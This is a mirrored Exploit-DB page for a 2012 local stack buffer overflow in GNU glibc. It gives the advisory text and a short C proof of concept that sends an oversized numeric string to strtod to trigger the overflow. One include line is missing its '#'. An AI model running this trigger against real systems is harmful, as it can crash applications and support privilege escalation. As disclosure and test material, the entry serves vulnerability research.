GNU glibc – Multiple Local Stack Buffer Overflow Vulnerabilities

• Exploit Database
• 13 阅读

• 作者： Joseph S. Myer
  日期： 2012-08-13
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/37631/

• // source: https://www.securityfocus.com/bid/54982/info
  
  GNU glibc is prone to multiple stack-based buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied data.
  
  Local attackers can exploit these issues to run arbitrary code with privileges of the affected application. Failed exploit attempts can result in a denial-of-service condition. 
  
  include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  
  #define EXPONENT "e-2147483649"
  #define SIZE 214748364
  int
  main (void)
  {
  char *p = malloc (1 + SIZE + sizeof (EXPONENT));
  if (p == NULL)
  {
  perror ("malloc");
  exit (EXIT_FAILURE);
  }
  p[0] = '1';
  memset (p + 1, '0', SIZE);
  memcpy (p + 1 + SIZE, EXPONENT, sizeof (EXPONENT));
  double d = strtod (p, NULL);
  printf ("%a\n", d);
  exit (EXIT_SUCCESS);
  }